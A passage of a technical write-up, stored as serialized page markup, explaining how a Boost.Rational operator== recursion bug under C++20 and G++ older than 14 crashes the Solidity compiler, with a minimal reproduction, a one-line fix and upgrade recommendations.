:213,"props":91297,"children":91298},{"style":290},[91299],{"type":28,"value":6011},{"type":23,"tag":213,"props":91301,"children":91302},{"style":220},[91303],{"type":28,"value":6084},{"type":23,"tag":213,"props":91305,"children":91306},{"class":215,"line":1202},[91307,91312,91316,91321,91325,91329,91333,91338,91342,91346,91350,91354,91358,91362,91367,91371,91375,91379,91383,91387],{"type":23,"tag":213,"props":91308,"children":91309},{"style":220},[91310],{"type":28,"value":91311}," BOOST_CONSTEXPR ",{"type":23,"tag":213,"props":91313,"children":91314},{"style":230},[91315],{"type":28,"value":90496},{"type":23,"tag":213,"props":91317,"children":91318},{"style":220},[91319],{"type":28,"value":91320}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":23,"tag":213,"props":91322,"children":91323},{"style":290},[91324],{"type":28,"value":6079},{"type":23,"tag":213,"props":91326,"children":91327},{"style":220},[91328],{"type":28,"value":424},{"type":23,"tag":213,"props":91330,"children":91331},{"style":290},[91332],{"type":28,"value":90730},{"type":23,"tag":213,"props":91334,"children":91335},{"style":220},[91336],{"type":28,"value":91337},">::",{"type":23,"tag":213,"props":91339,"children":91340},{"style":290},[91341],{"type":28,"value":39209},{"type":23,"tag":213,"props":91343,"children":91344},{"style":220},[91345],{"type":28,"value":424},{"type":23,"tag":213,"props":91347,"children":91348},{"style":230},[91349],{"type":28,"value":29741},{"type":23,"tag":213,"props":91351,"children":91352},{"style":220},[91353],{"type":28,"value":91337},{"type":23,"tag":213,"props":91355,"children":91356},{"style":290},[91357],{"type":28,"value":32812},{"type":23,"tag":213,"props":91359,"children":91360},{"style":230},[91361],{"type":28,"value":90565},{"type":23,"tag":213,"props":91363,"children":91364},{"style":220},[91365],{"type":28,"value":91366},"== (",{"type":23,"tag":213,"props":91368,"children":91369},{"style":230},[91370],{"type":28,"value":632},{"type":23,"tag":213,"props":91372,"children":91373},{"style":290},[91374],{"type":28,"value":6011},{"type":23,"tag":213,"props":91376,"children":91377},{"style":230},[91378],{"type":28,"value":405},{"type":23,"tag":213,"props":91380,"children":91381},{"style":268},[91382],{"type":28,"value":3494},{"type":23,"tag":213,"props":91384,"children":91385},{"style":220},[91386],{"type":28,"value":298},{"type":23,"tag":213,"props":91388,"children":91389},{"style":230},[91390],{"type":28,"value":91391},"const\n",{"type":23,"tag":213,"props":91393,"children":91394},{"class":215,"line":1758},[91395],{"type":23,"tag":213,"props":91396,"children":91397},{"style":220},[91398],{"type":28,"value":2725},{"type":23,"tag":213,"props":91400,"children":91401},{"class":215,"line":1767},[91402,91407,91412,91416,91420,91424,91428,91432,91436,91441,91445],{"type":23,"tag":213,"props":91403,"children":91404},{"style":1362},[91405],{"type":28,"value":91406}," return",{"type":23,"tag":213,"props":91408,"children":91409},{"style":220},[91410],{"type":28,"value":91411}," ((den ",{"type":23,"tag":213,"props":91413,"children":91414},{"style":274},[91415],{"type":28,"value":8660},{"type":23,"tag":213,"props":91417,"children":91418},{"style":257},[91419],{"type":28,"value":90501},{"type":23,"tag":213,"props":91421,"children":91422},{"style":220},[91423],{"type":28,"value":265},{"type":23,"tag":213,"props":91425,"children":91426},{"style":514},[91427],{"type":28,"value":4106},{"type":23,"tag":213,"props":91429,"children":91430},{"style":220},[91431],{"type":28,"value":8922},{"type":23,"tag":213,"props":91433,"children":91434},{"style":274},[91435],{"type":28,"value":73250},{"type":23,"tag":213,"props":91437,"children":91438},{"style":220},[91439],{"type":28,"value":91440}," (num ",{"type":23,"tag":213,"props":91442,"children":91443},{"style":274},[91444],{"type":28,"value":8660},{"type":23,"tag":213,"props":91446,"children":91447},{"style":220},[91448],{"type":28,"value":91449}," i));\n",{"type":23,"tag":213,"props":91451,"children":91452},{"class":215,"line":1789},[91453],{"type":23,"tag":213,"props":91454,"children":91455},{"style":220},[91456],{"type":28,"value":2875},{"type":23,"tag":213,"props":91458,"children":91459},{"class":215,"line":1812},[91460],{"type":23,"tag":213,"props":91461,"children":91462},{"style":220},[91463],{"type":28,"value":2257},{"type":23,"tag":213,"props":91465,"children":91466},{"class":215,"line":1838},[91467],{"type":23,"tag":213,"props":91468,"children":91469},{"style":220},[91470],{"type":28,"value":1208},{"type":23,"tag":213,"props":91472,"children":91473},{"class":215,"line":1851},[91474],{"type":23,"tag":213,"props":91475,"children":91476},{"emptyLinePlaceholder":18},[91477],{"type":28,"value":530},{"type":23,"tag":213,"props":91479,"children":91480},{"class":215,"line":1864},[91481,91485,91489,91493,91497,91501,91505,91509],{"type":23,"tag":213,"props":91482,"children":91483},{"style":230},[91484],{"type":28,"value":66270},{"type":23,"tag":213,"props":91486,"children":91487},{"style":220},[91488],{"type":28,"value":8804},{"type":23,"tag":213,"props":91490,"children":91491},{"style":230},[91492],{"type":28,"value":70463},{"type":23,"tag":213,"props":91494,"children":91495},{"style":290},[91496],{"type":28,"value":90682},{"type":23,"tag":213,"props":91498,"children":91499},{"style":220},[91500],{"type":28,"value":424},{"type":23,"tag":213,"props":91502,"children":91503},{"style":230},[91504],{"type":28,"value":70463},{"type":23,"tag":213,"props":91506,"children":91507},{"style":290},[91508],{"type":28,"value":90501},{"type":23,"tag":213,"props":91510,"children":91511},{"style":220},[91512],{"type":28,"value":6084},{"type":23,"tag":213,"props":91514,"children":91515},{"class":215,"line":1890},[91516],{"type":23,"tag":213,"props":91517,"children":91518},{"style":220},[91519],{"type":28,"value":91520},"BOOST_CONSTEXPR\n",{"type":23,"tag":213,"props":91522,"children":91523},{"class":215,"line":1899},[91524,91529,91534,91539,91544],{"type":23,"tag":213,"props":91525,"children":91526},{"style":230},[91527],{"type":28,"value":91528},"inline",{"type":23,"tag":213,"props":91530,"children":91531},{"style":230},[91532],{"type":28,"value":91533}," typename",{"type":23,"tag":213,"props":91535,"children":91536},{"style":220},[91537],{"type":28,"value":91538}," boost::",{"type":23,"tag":213,"props":91540,"children":91541},{"style":290},[91542],{"type":28,"value":91543},"enable_if_c",{"type":23,"tag":213,"props":91545,"children":91546},{"style":274},[91547],{"type":28,"value":91548}," \u003C\n",{"type":23,"tag":213,"props":91550,"children":91551},{"class":215,"line":1912},[91552,91557,91562,91566,91570,91575,91579,91583],{"type":23,"tag":213,"props":91553,"children":91554},{"style":220},[91555],{"type":28,"value":91556}," rational_detail::is_compatible_integer\u003C",{"type":23,"tag":213,"props":91558,"children":91559},{"style":290},[91560],{"type":28,"value":91561},"Arg",{"type":23,"tag":213,"props":91563,"children":91564},{"style":220},[91565],{"type":28,"value":424},{"type":23,"tag":213,"props":91567,"children":91568},{"style":290},[91569],{"type":28,"value":90730},{"type":23,"tag":213,"props":91571,"children":91572},{"style":220},[91573],{"type":28,"value":91574},">::value, ",{"type":23,"tag":213,"props":91576,"children":91577},{"style":230},[91578],{"type":28,"value":29741},{"type":23,"tag":213,"props":91580,"children":91581},{"style":274},[91582],{"type":28,"value":10545},{"type":23,"tag":213,"props":91584,"children":91585},{"style":220},[91586],{"type":28,"value":91587},"::type\n",{"type":23,"tag":213,"props":91589,"children":91590},{"class":215,"line":1921},[91591,91596,91601,91605,91609,91613,91617,91621,91625,91629,91633,91637,91641,91645,91649],{"type":23,"tag":213,"props":91592,"children":91593},{"style":230},[91594],{"type":28,"value":91595}," operator",{"type":23,"tag":213,"props":91597,"children":91598},{"style":220},[91599],{"type":28,"value":91600}," == (",{"type":23,"tag":213,"props":91602,"children":91603},{"style":230},[91604],{"type":28,"value":632},{"type":23,"tag":213,"props":91606,"children":91607},{"style":290},[91608],{"type":28,"value":90682},{"type":23,"tag":213,"props":91610,"children":91611},{"style":230},[91612],{"type":28,"value":405},{"type":23,"tag":213,"props":91614,"children":91615},{"style":268},[91616],{"type":28,"value":90763},{"type":23,"tag":213,"props":91618,"children":91619},{"style":220},[91620],{"type":28,"value":424},{"type":23,"tag":213,"props":91622,"children":91623},{"style":230},[91624],{"type":28,"value":632},{"type":23,"tag":213,"props":91626,"children":91627},{"style":290},[91628],{"type":28,"value":90517},{"type":23,"tag":213,"props":91630,"children":91631},{"style":220},[91632],{"type":28,"value":434},{"type":23,"tag":213,"props":91634,"children":91635},{"style":290},[91636],{"type":28,"value":90730},{"type":23,"tag":213,"props":91638,"children":91639},{"style":220},[91640],{"type":28,"value":10545},{"type":23,"tag":213,"props":91642,"children":91643},{"style":230},[91644],{"type":28,"value":405},{"type":23,"tag":213,"props":91646,"children":91647},{"style":268},[91648],{"type":28,"value":89889},{"type":23,"tag":213,"props":91650,"children":91651},{"style":220},[91652],{"type":28,"value":2183},{"type":23,"tag":213,"props":91654,"children":91655},{"class":215,"line":3879},[91656],{"type":23,"tag":213,"props":91657,"children":91658},{"style":220},[91659],{"type":28,"value":10964},{"type":23,"tag":213,"props":91661,"children":91662},{"class":215,"line":3887},[91663,91667,91671,91675],{"type":23,"tag":213,"props":91664,"children":91665},{"style":1362},[91666],{"type":28,"value":39414},{"type":23,"tag":213,"props":91668,"children":91669},{"style":220},[91670],{"type":28,"value":16815},{"type":23,"tag":213,"props":91672,"children":91673},{"style":274},[91674],{"type":28,"value":8660},{"type":23,"tag":213,"props":91676,"children":91677},{"style":220},[91678],{"type":28,"value":91679}," b; \n",{"type":23,"tag":213,"props":91681,"children":91682},{"class":215,"line":3918},[91683],{"type":23,"tag":213,"props":91684,"children":91685},{"style":220},[91686],{"type":28,"value":1208},{"type":23,"tag":24,"props":91688,"children":91689},{},[91690,91692,91698],{"type":28,"value":91691},"This was designed under C++17 semantics. Back then, ",{"type":23,"tag":209,"props":91693,"children":91695},{"className":91694},[],[91696],{"type":28,"value":91697},"rhs == lhs",{"type":28,"value":91699}," would fall back to member overloads if available. All good.",{"type":23,"tag":24,"props":91701,"children":91702},{},[91703,91705,91710,91711,91717],{"type":28,"value":91704},"But under ",{"type":23,"tag":209,"props":91706,"children":91708},{"className":91707},[],[91709],{"type":28,"value":90254},{"type":28,"value":21553},{"type":23,"tag":209,"props":91712,"children":91714},{"className":91713},[],[91715],{"type":28,"value":91716},"G++ \u003C 14",{"type":28,"value":277},{"type":23,"tag":168,"props":91719,"children":91720},{},[91721,91726,91731,91736],{"type":23,"tag":135,"props":91722,"children":91723},{},[91724],{"type":28,"value":91725},"G++ incorrectly chooses this non-member operator first",{"type":23,"tag":135,"props":91727,"children":91728},{},[91729],{"type":28,"value":91730},"C++20 reverses the comparison",{"type":23,"tag":135,"props":91732,"children":91733},{},[91734],{"type":28,"value":91735},"Which calls the same function again with arguments flipped",{"type":23,"tag":135,"props":91737,"children":91738},{},[91739],{"type":28,"value":91740},"And so on...",{"type":23,"tag":24,"props":91742,"children":91743},{},[91744,91746,91751],{"type":28,"value":91745},"This creates ",{"type":23,"tag":95,"props":91747,"children":91748},{},[91749],{"type":28,"value":91750},"infinite recursion",{"type":28,"value":124},{"type":23,"tag":24,"props":91753,"children":91754},{},[91755],{"type":28,"value":91756},"A minimal example:",{"type":23,"tag":202,"props":91758,"children":91760},{"code":91759,"language":29169,"meta":7,"className":29167,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[91761],{"type":23,"tag":209,"props":91762,"children":91763},{"__ignoreMap":7},[91764,91772,91784,91791,91806,91830,91853],{"type":23,"tag":213,"props":91765,"children":91766},{"class":215,"line":216},[91767],{"type":23,"tag":213,"props":91768,"children":91769},{"style":537},[91770],{"type":28,"value":91771},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":23,"tag":213,"props":91773,"children":91774},{"class":215,"line":226},[91775,91779],{"type":23,"tag":213,"props":91776,"children":91777},{"style":1362},[91778],{"type":28,"value":90468},{"type":23,"tag":213,"props":91780,"children":91781},{"style":246},[91782],{"type":28,"value":91783}," \u003Cboost/rational.hpp>\n",{"type":23,"tag":213,"props":91785,"children":91786},{"class":215,"line":524},[91787],{"type":23,"tag":213,"props":91788,"children":91789},{"emptyLinePlaceholder":18},[91790],{"type":28,"value":530},{"type":23,"tag":213,"props":91792,"children":91793},{"class":215,"line":533},[91794,91798,91802],{"type":23,"tag":213,"props":91795,"children":91796},{"style":230},[91797],{"type":28,"value":19100},{"type":23,"tag":213,"props":91799,"children":91800},{"style":257},[91801],{"type":28,"value":90833},{"type":23,"tag":213,"props":91803,"children":91804},{"style":220},[91805],{"type":28,"value":15791},{"type":23,"tag":213,"props":91807,"children":91808},{"class":215,"line":543},[91809,91814,91818,91822,91826],{"type":23,"tag":213,"props":91810,"children":91811},{"style":220},[91812],{"type":28,"value":91813}," boost::rational",{"type":23,"tag":213,"props":91815,"children":91816},{"style":274},[91817],{"type":28,"value":434},{"type":23,"tag":213,"props":91819,"children":91820},{"style":230},[91821],{"type":28,"value":19100},{"type":23,"tag":213,"props":91823,"children":91824},{"style":274},[91825],{"type":28,"value":10545},{"type":23,"tag":213,"props":91827,"children":91828},{"style":220},[91829],{"type":28,"value":90862},{"type":23,"tag":213,"props":91831,"children":91832},{"class":215,"line":551},[91833,91837,91841,91845,91849],{"type":23,"tag":213,"props":91834,"children":91835},{"style":1362},[91836],{"type":28,"value":17040},{"type":23,"tag":213,"props":91838,"children":91839},{"style":220},[91840],{"type":28,"value":90874},{"type":23,"tag":213,"props":91842,"children":91843},{"style":274},[91844],{"type":28,"value":8660},{"type":23,"tag":213,"props":91846,"children":91847},{"style":514},[91848],{"type":28,"value":517},{"type":23,"tag":213,"props":91850,"children":91851},{"style":220},[91852],{"type":28,"value":313},{"type":23,"tag":213,"props":91854,"children":91855},{"class":215,"line":570},[91856],{"type":23,"tag":213,"props":91857,"children":91858},{"style":220},[91859],{"type":28,"value":1208},{"type":23,"tag":24,"props":91861,"children":91862},{},[91863],{"type":28,"value":91864},"Expected output: nothing.",{"type":23,"tag":24,"props":91866,"children":91867},{},[91868],{"type":28,"value":91869},"Actual: segmentation fault (stack overflow).",{"type":23,"tag":24,"props":91871,"children":91872},{},[91873,91875,91882],{"type":28,"value":91874},"This exact pattern was ",{"type":23,"tag":36,"props":91876,"children":91879},{"href":91877,"rel":91878},"https://github.com/boostorg/rational/issues/43",[40],[91880],{"type":28,"value":91881},"reported and fixed in Boost rational",{"type":28,"value":91883},", but only in version 1.75+.",{"type":23,"tag":24,"props":91885,"children":91886},{},[91887],{"type":28,"value":91888},"Here’s the one-line fix:",{"type":23,"tag":202,"props":91890,"children":91892},{"code":91891,"language":40420,"meta":7,"className":40418,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[91893],{"type":23,"tag":209,"props":91894,"children":91895},{"__ignoreMap":7},[91896,91904,91911,91919,91927,91935,91942,91950,91958],{"type":23,"tag":213,"props":91897,"children":91898},{"class":215,"line":216},[91899],{"type":23,"tag":213,"props":91900,"children":91901},{"style":220},[91902],{"type":28,"value":91903},"template \u003Cclass Arg, class IntType>\n",{"type":23,"tag":213,"props":91905,"children":91906},{"class":215,"line":226},[91907],{"type":23,"tag":213,"props":91908,"children":91909},{"style":220},[91910],{"type":28,"value":91520},{"type":23,"tag":213,"props":91912,"children":91913},{"class":215,"line":524},[91914],{"type":23,"tag":213,"props":91915,"children":91916},{"style":220},[91917],{"type":28,"value":91918},"inline typename boost::enable_if_c \u003C\n",{"type":23,"tag":213,"props":91920,"children":91921},{"class":215,"line":533},[91922],{"type":23,"tag":213,"props":91923,"children":91924},{"style":220},[91925],{"type":28,"value":91926}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":23,"tag":213,"props":91928,"children":91929},{"class":215,"line":543},[91930],{"type":23,"tag":213,"props":91931,"children":91932},{"style":220},[91933],{"type":28,"value":91934}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":23,"tag":213,"props":91936,"children":91937},{"class":215,"line":551},[91938],{"type":23,"tag":213,"props":91939,"children":91940},{"style":220},[91941],{"type":28,"value":10964},{"type":23,"tag":213,"props":91943,"children":91944},{"class":215,"line":570},[91945],{"type":23,"tag":213,"props":91946,"children":91947},{"style":246},[91948],{"type":28,"value":91949},"- return a == b;\n",{"type":23,"tag":213,"props":91951,"children":91952},{"class":215,"line":655},[91953],{"type":23,"tag":213,"props":91954,"children":91955},{"style":514},[91956],{"type":28,"value":91957},"+ return a.operator==(b);\n",{"type":23,"tag":213,"props":91959,"children":91960},{"class":215,"line":1176},[91961],{"type":23,"tag":213,"props":91962,"children":91963},{"style":220},[91964],{"type":28,"value":1208},{"type":23,"tag":24,"props":91966,"children":91967},{},[91968,91970,91975,91977,91982],{"type":28,"value":91969},"Instead of calling ",{"type":23,"tag":209,"props":91971,"children":91973},{"className":91972},[],[91974],{"type":28,"value":90300},{"type":28,"value":91976}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":23,"tag":209,"props":91978,"children":91980},{"className":91979},[],[91981],{"type":28,"value":90308},{"type":28,"value":124},{"type":23,"tag":24,"props":91984,"children":91985},{},[91986],{"type":28,"value":91987},"This prevents C++20 from triggering recursive rewrites.",{"type":23,"tag":18845,"props":91989,"children":91990},{},[],{"type":23,"tag":47,"props":91992,"children":91994},{"id":91993},"part-iv-how-this-breaks-solidity",[91995],{"type":28,"value":91996},"Part IV: How This Breaks Solidity",{"type":23,"tag":24,"props":91998,"children":91999},{},[92000,92002,92007],{"type":28,"value":92001},"The Solidity codebase uses ",{"type":23,"tag":209,"props":92003,"children":92005},{"className":92004},[],[92006],{"type":28,"value":90155},{"type":28,"value":92008}," to represent certain compile-time constant expressions.",{"type":23,"tag":24,"props":92010,"children":92011},{},[92012,92014,92020],{"type":28,"value":92013},"One snippet that can trigger this issue appears in ",{"type":23,"tag":209,"props":92015,"children":92017},{"className":92016},[],[92018],{"type":28,"value":92019},"DeclarationTypeChecker::endVisit",{"type":28,"value":277},{"type":23,"tag":202,"props":92022,"children":92024},{"code":92023,"language":29169,"meta":7,"className":29167,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[92025],{"type":23,"tag":209,"props":92026,"children":92027},{"__ignoreMap":7},[92028,92075,92100,92107,92185,92192,92245,92273,92280,92300,92307,92347,92354],{"type":23,"tag":213,"props":92029,"children":92030},{"class":215,"line":216},[92031,92035,92040,92044,92048,92053,92057,92062,92066,92070],{"type":23,"tag":213,"props":92032,"children":92033},{"style":1362},[92034],{"type":28,"value":15637},{"type":23,"tag":213,"props":92036,"children":92037},{"style":220},[92038],{"type":28,"value":92039}," (Expression ",{"type":23,"tag":213,"props":92041,"children":92042},{"style":230},[92043],{"type":28,"value":632},{"type":23,"tag":213,"props":92045,"children":92046},{"style":274},[92047],{"type":28,"value":1696},{"type":23,"tag":213,"props":92049,"children":92050},{"style":220},[92051],{"type":28,"value":92052}," length ",{"type":23,"tag":213,"props":92054,"children":92055},{"style":274},[92056],{"type":28,"value":3190},{"type":23,"tag":213,"props":92058,"children":92059},{"style":268},[92060],{"type":28,"value":92061}," _typeName",{"type":23,"tag":213,"props":92063,"children":92064},{"style":220},[92065],{"type":28,"value":124},{"type":23,"tag":213,"props":92067,"children":92068},{"style":257},[92069],{"type":28,"value":8588},{"type":23,"tag":213,"props":92071,"children":92072},{"style":220},[92073],{"type":28,"value":92074},"()) {\n",{"type":23,"tag":213,"props":92076,"children":92077},{"class":215,"line":226},[92078,92083,92087,92091,92095],{"type":23,"tag":213,"props":92079,"children":92080},{"style":220},[92081],{"type":28,"value":92082}," std::optional",{"type":23,"tag":213,"props":92084,"children":92085},{"style":274},[92086],{"type":28,"value":434},{"type":23,"tag":213,"props":92088,"children":92089},{"style":220},[92090],{"type":28,"value":91160},{"type":23,"tag":213,"props":92092,"children":92093},{"style":274},[92094],{"type":28,"value":10545},{"type":23,"tag":213,"props":92096,"children":92097},{"style":220},[92098],{"type":28,"value":92099}," lengthValue;\n",{"type":23,"tag":213,"props":92101,"children":92102},{"class":215,"line":524},[92103],{"type":23,"tag":213,"props":92104,"children":92105},{"emptyLinePlaceholder":18},[92106],{"type":28,"value":530},{"type":23,"tag":213,"props":92108,"children":92109},{"class":215,"line":533},[92110,92114,92118,92122,92126,92130,92134,92138,92142,92147,92151,92155,92159,92163,92167,92172,92176,92180],{"type":23,"tag":213,"props":92111,"children":92112},{"style":1362},[92113],{"type":28,"value":2653},{"type":23,"tag":213,"props":92115,"children":92116},{"style":220},[92117],{"type":28,"value":400},{"type":23,"tag":213,"props":92119,"children":92120},{"style":268},[92121],{"type":28,"value":8588},{"type":23,"tag":213,"props":92123,"children":92124},{"style":220},[92125],{"type":28,"value":303},{"type":23,"tag":213,"props":92127,"children":92128},{"style":257},[92129],{"type":28,"value":30218},{"type":23,"tag":213,"props":92131,"children":92132},{"style":220},[92133],{"type":28,"value":30223},{"type":23,"tag":213,"props":92135,"children":92136},{"style":268},[92137],{"type":28,"value":32812},{"type":23,"tag":213,"props":92139,"children":92140},{"style":274},[92141],{"type":28,"value":14259},{"type":23,"tag":213,"props":92143,"children":92144},{"style":268},[92145],{"type":28,"value":92146}," length",{"type":23,"tag":213,"props":92148,"children":92149},{"style":220},[92150],{"type":28,"value":303},{"type":23,"tag":213,"props":92152,"children":92153},{"style":257},[92154],{"type":28,"value":30218},{"type":23,"tag":213,"props":92156,"children":92157},{"style":220},[92158],{"type":28,"value":30223},{"type":23,"tag":213,"props":92160,"children":92161},{"style":268},[92162],{"type":28,"value":32812},{"type":23,"tag":213,"props":92164,"children":92165},{"style":220},[92166],{"type":28,"value":303},{"type":23,"tag":213,"props":92168,"children":92169},{"style":257},[92170],{"type":28,"value":92171},"category",{"type":23,"tag":213,"props":92173,"children":92174},{"style":220},[92175],{"type":28,"value":2698},{"type":23,"tag":213,"props":92177,"children":92178},{"style":274},[92179],{"type":28,"value":8660},{"type":23,"tag":213,"props":92181,"children":92182},{"style":220},[92183],{"type":28,"value":92184}," Type::Category::RationalNumber)\n",{"type":23,"tag":213,"props":92186,"children":92187},{"class":215,"line":543},[92188],{"type":23,"tag":213,"props":92189,"children":92190},{"style":220},[92191],{"type":28,"value":81895},{"type":23,"tag":213,"props":92193,"children":92194},{"class":215,"line":551},[92195,92200,92204,92209,92213,92218,92222,92227,92231,92236,92240],{"type":23,"tag":213,"props":92196,"children":92197},{"style":1362},[92198],{"type":28,"value":92199}," else",{"type":23,"tag":213,"props":92201,"children":92202},{"style":1362},[92203],{"type":28,"value":15839},{"type":23,"tag":213,"props":92205,"children":92206},{"style":220},[92207],{"type":28,"value":92208}," (std::optional",{"type":23,"tag":213,"props":92210,"children":92211},{"style":274},[92212],{"type":28,"value":434},{"type":23,"tag":213,"props":92214,"children":92215},{"style":220},[92216],{"type":28,"value":92217},"ConstantEvaluator::TypedRational",{"type":23,"tag":213,"props":92219,"children":92220},{"style":274},[92221],{"type":28,"value":10545},{"type":23,"tag":213,"props":92223,"children":92224},{"style":220},[92225],{"type":28,"value":92226}," value ",{"type":23,"tag":213,"props":92228,"children":92229},{"style":274},[92230],{"type":28,"value":3190},{"type":23,"tag":213,"props":92232,"children":92233},{"style":220},[92234],{"type":28,"value":92235}," ConstantEvaluator::",{"type":23,"tag":213,"props":92237,"children":92238},{"style":257},[92239],{"type":28,"value":38063},{"type":23,"tag":213,"props":92241,"children":92242},{"style":220},[92243],{"type":28,"value":92244},"(...))\n",{"type":23,"tag":213,"props":92246,"children":92247},{"class":215,"line":570},[92248,92253,92257,92261,92265,92269],{"type":23,"tag":213,"props":92249,"children":92250},{"style":220},[92251],{"type":28,"value":92252}," lengthValue ",{"type":23,"tag":213,"props":92254,"children":92255},{"style":274},[92256],{"type":28,"value":3190},{"type":23,"tag":213,"props":92258,"children":92259},{"style":268},[92260],{"type":28,"value":32566},{"type":23,"tag":213,"props":92262,"children":92263},{"style":220},[92264],{"type":28,"value":303},{"type":23,"tag":213,"props":92266,"children":92267},{"style":268},[92268],{"type":28,"value":39209},{"type":23,"tag":213,"props":92270,"children":92271},{"style":220},[92272],{"type":28,"value":313},{"type":23,"tag":213,"props":92274,"children":92275},{"class":215,"line":655},[92276],{"type":23,"tag":213,"props":92277,"children":92278},{"emptyLinePlaceholder":18},[92279],{"type":28,"value":530},{"type":23,"tag":213,"props":92281,"children":92282},{"class":215,"line":1176},[92283,92287,92291,92295],{"type":23,"tag":213,"props":92284,"children":92285},{"style":1362},[92286],{"type":28,"value":2653},{"type":23,"tag":213,"props":92288,"children":92289},{"style":220},[92290],{"type":28,"value":400},{"type":23,"tag":213,"props":92292,"children":92293},{"style":274},[92294],{"type":28,"value":20675},{"type":23,"tag":213,"props":92296,"children":92297},{"style":220},[92298],{"type":28,"value":92299},"lengthValue)\n",{"type":23,"tag":213,"props":92301,"children":92302},{"class":215,"line":1202},[92303],{"type":23,"tag":213,"props":92304,"children":92305},{"style":220},[92306],{"type":28,"value":81895},{"type":23,"tag":213,"props":92308,"children":92309},{"class":215,"line":1758},[92310,92314,92318,92322,92326,92330,92334,92338,92342],{"type":23,"tag":213,"props":92311,"children":92312},{"style":1362},[92313],{"type":28,"value":92199},{"type":23,"tag":213,"props":92315,"children":92316},{"style":1362},[92317],{"type":28,"value":15839},{"type":23,"tag":213,"props":92319,"children":92320},{"style":220},[92321],{"type":28,"value":400},{"type":23,"tag":213,"props":92323,"children":92324},{"style":274},[92325],{"type":28,"value":1696},{"type":23,"tag":213,"props":92327,"children":92328},{"style":220},[92329],{"type":28,"value":90131},{"type":23,"tag":213,"props":92331,"children":92332},{"style":274},[92333],{"type":28,"value":8660},{"type":23,"tag":213,"props":92335,"children":92336},{"style":514},[92337],{"type":28,"value":517},{"type":23,"tag":213,"props":92339,"children":92340},{"style":220},[92341],{"type":28,"value":2121},{"type":23,"tag":213,"props":92343,"children":92344},{"style":537},[92345],{"type":28,"value":92346}," // \u003C-- Infinite recursion happens here\n",{"type":23,"tag":213,"props":92348,"children":92349},{"class":215,"line":1767},[92350],{"type":23,"tag":213,"props":92351,"children":92352},{"style":220},[92353],{"type":28,"value":81895},{"type":23,"tag":213,"props":92355,"children":92356},{"class":215,"line":1789},[92357],{"type":23,"tag":213,"props":92358,"children":92359},{"style":220},[92360],{"type":28,"value":1208},{"type":23,"tag":24,"props":92362,"children":92363},{},[92364],{"type":28,"value":92365},"Under normal circumstances, this expression is benign. But:",{"type":23,"tag":168,"props":92367,"children":92368},{},[92369,92374,92379],{"type":23,"tag":135,"props":92370,"children":92371},{},[92372],{"type":28,"value":92373},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":23,"tag":135,"props":92375,"children":92376},{},[92377],{"type":28,"value":92378},"C++20 reverses the arguments",{"type":23,"tag":135,"props":92380,"children":92381},{},[92382],{"type":28,"value":92383},"The non-member operator recursively calls itself",{"type":23,"tag":24,"props":92385,"children":92386},{},[92387],{"type":28,"value":92388},"💥: segmentation fault.",{"type":23,"tag":18845,"props":92390,"children":92391},{},[],{"type":23,"tag":47,"props":92393,"children":92395},{"id":92394},"part-v-what-environments-are-affected",[92396],{"type":28,"value":92397},"Part V: What Environments are Affected?",{"type":23,"tag":24,"props":92399,"children":92400},{},[92401],{"type":28,"value":92402},"If a system uses any of the following:",{"type":23,"tag":168,"props":92404,"children":92405},{},[92406,92411,92416],{"type":23,"tag":135,"props":92407,"children":92408},{},[92409],{"type":28,"value":92410},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":23,"tag":135,"props":92412,"children":92413},{},[92414],{"type":28,"value":92415},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":23,"tag":135,"props":92417,"children":92418},{},[92419],{"type":28,"value":92420},"C++20 enabled (default in recent Solidity builds)",{"type":23,"tag":24,"props":92422,"children":92423},{},[92424,92426,92431,92433,92439],{"type":28,"value":92425},"They will encounter this crash ",{"type":23,"tag":95,"props":92427,"children":92428},{},[92429],{"type":28,"value":92430},"as soon as",{"type":28,"value":92432}," it processes a Solidity source with a length expression like ",{"type":23,"tag":209,"props":92434,"children":92436},{"className":92435},[],[92437],{"type":28,"value":92438},"T[0]",{"type":28,"value":92440}," or anything involving compile-time rational comparisons.",{"type":23,"tag":18845,"props":92442,"children":92443},{},[],{"type":23,"tag":47,"props":92445,"children":92447},{"id":92446},"recommendations",[92448],{"type":28,"value":92449},"Recommendations",{"type":23,"tag":168,"props":92451,"children":92452},{},[92453,92461],{"type":23,"tag":135,"props":92454,"children":92455},{},[92456],{"type":23,"tag":95,"props":92457,"children":92458},{},[92459],{"type":28,"value":92460},"Update Boost to ≥ 1.75",{"type":23,"tag":135,"props":92462,"children":92463},{},[92464],{"type":23,"tag":95,"props":92465,"children":92466},{},[92467],{"type":28,"value":92468},"Pin G++ to v14 or later",{"type":23,"tag":18845,"props":92470,"children":92471},{},[],{"type":23,"tag":47,"props":92473,"children":92474},{"id":28989},[92475],{"type":28,"value":19000},{"type":23,"tag":24,"props":92477,"children":92478},{},[92479],{"type":28,"value":92480},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":23,"tag":24,"props":92482,"children":92483},{},[92484,92486,92490],{"type":28,"value":92485},"But it ",{"type":23,"tag":95,"props":92487,"children":92488},{},[92489],{"type":28,"value":4067},{"type":28,"value":92491}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being 